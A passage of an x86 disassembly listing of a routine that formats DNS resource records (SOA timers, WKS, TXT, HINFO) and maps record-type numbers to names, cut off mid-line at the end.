and eax, 0FFFFh mov [ebp+var_8], eax add esi, 2 push esi call sub_804D6B8 movzx ebx, ax add esi, 2 push esi call sub_804D6D4 mov [ebp+var_1C], eax add esi, 4 push esi call sub_804D6B8 and eax, 0FFFFh mov [ebp+var_C], eax add esi, 2 mov [ebp+var_14], esi add esp, 10h cmp dword_80786A4, 0 jz short loc_805F87E test byte ptr dword_80786A4+1, 4 jz short loc_805F890 loc_805F87E: ; CODE XREF: sub_805F7E4+8Fj mov ecx, [ebp+var_1C] push ecx push offset aLu ; "\t%lu" push edi call fprintf add esp, 0Ch loc_805F890: ; CODE XREF: sub_805F7E4+98j cmp dword_80786A4, 0 jz short loc_805F8A2 test byte ptr dword_80786A4, 4 jz short loc_805F8B7 loc_805F8A2: ; CODE XREF: sub_805F7E4+B3j push ebx call sub_80605D0 push eax push offset aS_1 ; "\t%s" push edi call fprintf add esp, 10h loc_805F8B7: ; CODE XREF: sub_805F7E4+BCj mov ecx, [ebp+var_8] push ecx call sub_8060004 push eax push offset aS_1 ; "\t%s" push edi call fprintf add esp, 10h mov eax, [ebp+var_8] dec eax cmp eax, 65h ; switch 102 cases ja loc_805FFA4 ; default jmp ds:off_805F8E4[eax*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 off_805F8E4 dd offset loc_805FA7C, offset loc_805FB00, 2 dup(offset loc_805FFA4) ; DATA XREF: sub_805F7E4+F8r dd offset loc_805FB00, offset loc_805FB84, 3 dup(offset loc_805FB00) ; jump table for switch statement dd offset loc_805FFA4, offset loc_805FEC0, offset loc_805FB00 dd offset loc_805FB1C, offset loc_805FDEC, offset loc_805FCA0 dd offset loc_805FD14, offset loc_805FDEC, offset loc_805FCA0 dd offset loc_805FD14, offset loc_805FB1C, offset loc_805FCA0 dd offset loc_805FDC8, 3 dup(offset loc_805FFA4), offset loc_805FCD0 dd 49h dup(offset loc_805FFA4), offset loc_805FE64, 2 dup(offset loc_805FE98) ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FA7C: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o cmp ebx, 1 ; case 0x0 jz short loc_805FA86 cmp ebx, 4 jnz short loc_805FAF8 loc_805FA86: ; CODE XREF: sub_805F7E4+29Bj push 4 lea eax, [ebp+var_4] push eax push esi call bcopy add esp, 0Ch cmp [ebp+var_C], 4 jnz short loc_805FAB0 mov eax, [ebp+var_4] push eax call sub_805E984 push eax push offset aS_1 ; "\t%s" jmp loc_805FEAE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FAB0: ; CODE XREF: sub_805F7E4+2B5j cmp [ebp+var_C], 7 jnz loc_805FFB9 mov eax, [ebp+var_4] push eax call sub_805E984 mov [ebp+var_24], eax add esi, 4 mov bl, [esi] inc esi push esi call sub_804D6B8 add esi, 2 and eax, 0FFFFh push eax movzx eax, bl push eax mov ecx, [ebp+var_24] push ecx push offset aSProtoDPortD ; "\t%s\t; proto %d, port %d" push edi call fprintf add esp, 1Ch jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FAF8: ; CODE XREF: sub_805F7E4+2A0j add esi, [ebp+var_C] jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FB00: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o mov eax, [edi+14h] ; case 0x1 cmp [edi+18h], eax ja short loc_805FB10 push 9 jmp loc_805FE2F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FB10: ; CODE XREF: sub_805F7E4+322j mov eax, [edi+14h] mov byte ptr [eax], 9 jmp loc_805FE42 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FB1C: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o mov ecx, [ebp+var_C] ; case 0xc add ecx, esi mov [ebp+var_18], ecx movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz short loc_805FB3E push esi push ebx push offset a_S ; "\t%.*s" push edi call fprintf add esi, ebx add esp, 10h loc_805FB3E: ; CODE XREF: sub_805F7E4+346j cmp [ebp+var_18], esi jbe short loc_805FB64 movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz short loc_805FB64 push esi push ebx push offset a_S ; "\t%.*s" push edi call fprintf add esi, ebx add esp, 10h jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FB64: ; CODE XREF: sub_805F7E4+35Dj ; sub_805F7E4+365j cmp [ebp+var_8], 0Dh jnz loc_805FFB9 push offset aWarningOsTypeM ; "\n;; *** Warning *** OS-type missing" push edi call fprintf add esp, 8 jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FB84: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o mov eax, [edi+14h] ; case 0x5 cmp [edi+18h], eax ja short loc_805FB9C push 9 push edi call sub_8061910 add esp, 8 jmp short loc_805FBA5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FB9C: ; CODE XREF: sub_805F7E4+3A6j mov eax, [edi+14h] mov byte ptr [eax], 9 inc dword ptr [edi+14h] loc_805FBA5: ; CODE XREF: sub_805F7E4+3B3j push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 0Ch test esi, esi jz loc_805F810 mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FBD4 push 20h push edi call sub_8061910 add esp, 8 jmp short loc_805FBDD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FBD4: ; CODE XREF: sub_805F7E4+3DFj mov eax, [edi+14h] mov byte ptr [eax], 20h inc dword ptr [edi+14h] loc_805FBDD: ; CODE XREF: sub_805F7E4+3ECj push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 0Ch test esi, esi jz loc_805F810 push edi push offset asc_8069767 ; " (\n" call sub_80624D0 push esi call sub_804D6D4 mov ebx, eax add esi, 4 push ebx push offset aLuSerial ; "\t\t\t%lu\t; serial\n" push edi call fprintf push esi call sub_804D6D4 mov ebx, eax add esi, 4 push ebx call sub_806077C push eax push ebx push offset aLuRefreshS ; "\t\t\t%lu\t; refresh (%s)\n" push edi call fprintf add esp, 30h push esi call sub_804D6D4 mov ebx, eax add esi, 4 push ebx call sub_806077C push eax push ebx push offset aLuRetryS ; "\t\t\t%lu\t; retry (%s)\n" push edi call fprintf push esi call sub_804D6D4 mov ebx, eax add esi, 4 push ebx call sub_806077C push eax push ebx push offset aLuExpireS ; "\t\t\t%lu\t; expire (%s)\n" push edi call fprintf add esp, 30h push esi call sub_804D6D4 mov ebx, eax add esi, 4 push ebx call sub_806077C push eax push ebx push offset aLuMinimumS ; "\t\t\t%lu )\t; minimum (%s)" push edi call fprintf add esp, 18h jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FCA0: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o push esi ; case 0xe call sub_804D6B8 and eax, 0FFFFh push eax push offset aD_1 ; "\t%d " push edi call fprintf add esi, 2 push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 1Ch jmp loc_805FE55 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FCD0: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o push esi ; case 0x19 call sub_804D6B8 and eax, 0FFFFh push eax push offset aD_1 ; "\t%d " push edi call fprintf add esi, 2 push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 1Ch test esi, esi jz loc_805F810 mov eax, [edi+14h] cmp [edi+18h], eax jbe loc_805FE2D jmp loc_805FE3C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FD14: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o push edi ; case 0xf push offset asc_80697DB ; "\t\"" call sub_80624D0 mov ecx, [ebp+var_14] add ecx, [ebp+var_C] mov [ebp+var_18], ecx add esp, 8 cmp esi, ecx jnb short loc_805FDA9 nop loc_805FD30: ; CODE XREF: sub_805F7E4+5C3j movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz short loc_805FDA4 mov [ebp+var_10], ebx jle short loc_805FDA4 db 8Dh,76h,0 ; lea esi, [esi+0] loc_805FD40: ; CODE XREF: sub_805F7E4+5BEj cmp [ebp+var_18], esi jbe short loc_805FDA9 cmp byte ptr [esi], 0Ah jz short loc_805FD4F cmp byte ptr [esi], 22h jnz short loc_805FD78 loc_805FD4F: ; CODE XREF: sub_805F7E4+564j mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FD64 push 5Ch push edi call sub_8061910 add esp, 8 jmp short loc_805FD6D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FD64: ; CODE XREF: sub_805F7E4+571j mov eax, [edi+14h] mov byte ptr [eax], 5Ch inc dword ptr [edi+14h] loc_805FD6D: ; CODE XREF: sub_805F7E4+57Ej mov eax, [edi+14h] cmp [edi+18h], eax jbe short loc_805FD80 jmp short loc_805FD90 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FD78: ; CODE XREF: sub_805F7E4+569j mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FD90 loc_805FD80: ; CODE XREF: sub_805F7E4+58Fj movzx eax, byte ptr [esi] push eax inc esi push edi call sub_8061910 add esp, 8 jmp short loc_805FD9B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FD90: ; CODE XREF: sub_805F7E4+591j ; sub_805F7E4+59Aj mov edx, [edi+14h] mov al, [esi] mov [edx], al inc esi inc dword ptr [edi+14h] loc_805FD9B: ; CODE XREF: sub_805F7E4+5AAj dec [ebp+var_10] cmp [ebp+var_10], 0 jg short loc_805FD40 loc_805FDA4: ; CODE XREF: sub_805F7E4+552j ; sub_805F7E4+557j cmp [ebp+var_18], esi ja short loc_805FD30 loc_805FDA9: ; CODE XREF: sub_805F7E4+549j ; sub_805F7E4+55Fj mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FDB8 push 22h jmp loc_805FF8A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FDB8: ; CODE XREF: sub_805F7E4+5CBj mov eax, [edi+14h] mov byte ptr [eax], 22h inc dword ptr [edi+14h] jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FDC8: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o push 0 ; case 0x15 push esi mov ecx, [ebp+var_C] push ecx call sub_8060BD8 push eax push offset aS_1 ; "\t%s" push edi call fprintf add esi, [ebp+var_C] add esp, 18h jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FDEC: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o mov eax, [edi+14h] ; case 0xd cmp [edi+18h], eax ja short loc_805FE04 push 9 push edi call sub_8061910 add esp, 8 jmp short loc_805FE0D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FE04: ; CODE XREF: sub_805F7E4+60Ej mov eax, [edi+14h] mov byte ptr [eax], 9 inc dword ptr [edi+14h] loc_805FE0D: ; CODE XREF: sub_805F7E4+61Bj push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 0Ch test esi, esi jz loc_805F810 mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FE3C loc_805FE2D: ; CODE XREF: sub_805F7E4+524j push 20h loc_805FE2F: ; CODE XREF: sub_805F7E4+326j push edi call sub_8061910 add esp, 8 jmp short loc_805FE45 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FE3C: ; CODE XREF: sub_805F7E4+52Aj ; sub_805F7E4+647j mov eax, [edi+14h] mov byte ptr [eax], 20h loc_805FE42: ; CODE XREF: sub_805F7E4+332j inc dword ptr [edi+14h] loc_805FE45: ; CODE XREF: sub_805F7E4+654j push edi mov ecx, [ebp+arg_4] push ecx push esi call sub_805F730 mov esi, eax add esp, 0Ch loc_805FE55: ; CODE XREF: sub_805F7E4+4E6j test esi, esi jnz loc_805FFB9 jmp loc_805F810 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FE64: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o mov eax, [edi+14h] ; case 0x63 cmp [edi+18h], eax ja short loc_805FE7C push 9 push edi call sub_8061910 add esp, 8 jmp short loc_805FE85 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FE7C: ; CODE XREF: sub_805F7E4+686j mov eax, [edi+14h] mov byte ptr [eax], 9 inc dword ptr [edi+14h] loc_805FE85: ; CODE XREF: sub_805F7E4+693j push edi push esi call sub_80624D0 add esi, [ebp+var_C] add esp, 8 jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FE98: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o cmp [ebp+var_C], 4 ; case 0x64 jnz loc_805FFB9 push esi call sub_804D6D4 push eax push offset aU ; "\t%u" loc_805FEAE: ; CODE XREF: sub_805F7E4+2C6j push edi call fprintf add esi, 4 add esp, 10h jmp loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FEC0: ; CODE XREF: sub_805F7E4+F8j ; DATA XREF: sub_805F7E4+100o cmp [ebp+var_C], 4 ; case 0xa jle loc_805FFB9 push 4 lea eax, [ebp+var_4] push eax push esi call bcopy add esi, 4 movzx eax, byte ptr [esi] push eax call sub_805EEA4 push eax mov eax, [ebp+var_4] push eax call sub_805E984 add esp, 4 push eax push offset aSS ; "\t%s %s ( " push edi call fprintf inc esi xor ebx, ebx mov [ebp+var_20], 0 add esp, 20h jmp short loc_805FF76 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FF0C: ; CODE XREF: sub_805F7E4+79Aj movzx ecx, byte ptr [esi] mov [ebp+var_10], ecx inc esi nop loc_805FF14: ; CODE XREF: sub_805F7E4+790j cmp byte ptr [ebp+var_10], 0 jge short loc_805FF6C cmp [ebp+var_20], 0 jnz short loc_805FF35 push edi push offset asc_80697EC ; "\n\t\t\t" call sub_80624D0 mov [ebp+var_20], 5 add esp, 8 loc_805FF35: ; CODE XREF: sub_805F7E4+73Aj push edi push ebx call sub_805E9B8 add esp, 4 push eax call sub_80624D0 add esp, 8 mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FF60 push 20h push edi call sub_8061910 add esp, 8 jmp short loc_805FF69 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FF60: ; CODE XREF: sub_805F7E4+76Aj mov eax, [edi+14h] mov byte ptr [eax], 20h inc dword ptr [edi+14h] loc_805FF69: ; CODE XREF: sub_805F7E4+777j dec [ebp+var_20] loc_805FF6C: ; CODE XREF: sub_805F7E4+734j shl [ebp+var_10], 1 inc ebx test bl, 7 jnz short loc_805FF14 loc_805FF76: ; CODE XREF: sub_805F7E4+724j mov eax, [ebp+var_14] add eax, [ebp+var_C] cmp esi, eax jb short loc_805FF0C mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FF98 push 29h loc_805FF8A: ; CODE XREF: sub_805F7E4+5CFj push edi call sub_8061910 add esp, 8 jmp short loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FF98: ; CODE XREF: sub_805F7E4+7A2j mov eax, [edi+14h] mov byte ptr [eax], 29h inc dword ptr [edi+14h] jmp short loc_805FFB9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805FFA4: ; CODE XREF: sub_805F7E4+F2j ; sub_805F7E4+F8j ; DATA XREF: ... mov ecx, [ebp+var_8] ; default push ecx push offset a?D? ; "\t?%d?" push edi call fprintf add esi, [ebp+var_C] add esp, 0Ch loc_805FFB9: ; CODE XREF: sub_805F7E4+2D0j ; sub_805F7E4+30Dj ... mov eax, [edi+14h] cmp [edi+18h], eax ja short loc_805FFD0 push 0Ah push edi call sub_8061910 add esp, 8 jmp short loc_805FFD9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805FFD0: ; CODE XREF: sub_805F7E4+7DBj mov eax, [edi+14h] mov byte ptr [eax], 0Ah inc dword ptr [edi+14h] loc_805FFD9: ; CODE XREF: sub_805F7E4+7E8j mov eax, esi sub eax, [ebp+var_14] cmp [ebp+var_C], eax jz short loc_805FFF5 mov ecx, [ebp+var_C] push ecx push eax push offset aPacketSizeErro ; ";; packet size error (found %d, dlen wa"... push edi call fprintf xor esi, esi loc_805FFF5: ; CODE XREF: sub_805F7E4+7FDj mov eax, esi loc_805FFF7: ; CODE XREF: sub_805F7E4+2Ej lea esp, [ebp+var_30] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_805F7E4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8060004 proc near ; CODE XREF: sub_805F1DC+344p ; sub_805F7E4+D7p arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] lea eax, [edx-1] ; switch 255 cases cmp eax, 0FEh ja loc_80605B4 ; default jmp ds:off_8060020[eax*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 off_8060020 dd offset loc_806041C, offset loc_8060428, 2 dup(offset loc_80605B4) ; DATA XREF: sub_8060004+14r dd offset loc_8060434, offset loc_8060440, offset loc_806044C ; jump table for switch statement dd offset loc_8060458, offset loc_8060464, offset loc_8060470 dd offset loc_806047C, offset loc_8060488, offset loc_8060494 dd offset loc_80604A0, offset loc_80604AC, offset loc_80604B8 dd offset loc_80604C4, offset loc_80604D0, offset loc_80604DC dd offset loc_80604E8, offset loc_80604F4, offset loc_8060500 dd offset loc_806050C, offset loc_8060518, offset loc_8060524 dd offset loc_8060530, offset loc_806053C, offset loc_8060548 dd offset loc_8060554, 46h dup(offset loc_80605B4), offset loc_8060590 dd offset loc_806059C, offset loc_80605A8, 95h dup(offset loc_80605B4) dd offset loc_8060560, offset loc_806056C, offset loc_8060578 dd offset loc_8060584 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806041C: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aA ; case 0x1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060428: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aNs ; case 0x2 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060434: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aCname ; case 0x5 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060440: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aSoa ; case 0x6 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806044C: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aMb ; case 0x7 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060458: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aMg ; case 0x8 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060464: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aMr ; case 0x9 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060470: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aNull_0 ; case 0xa mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806047C: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aWks ; case 0xb mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060488: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aPtr ; case 0xc mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8060494: ; CODE XREF: sub_8060004+14j ; DATA XREF: sub_8060004+1Co mov eax, offset aHinfo ; case 0xd mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 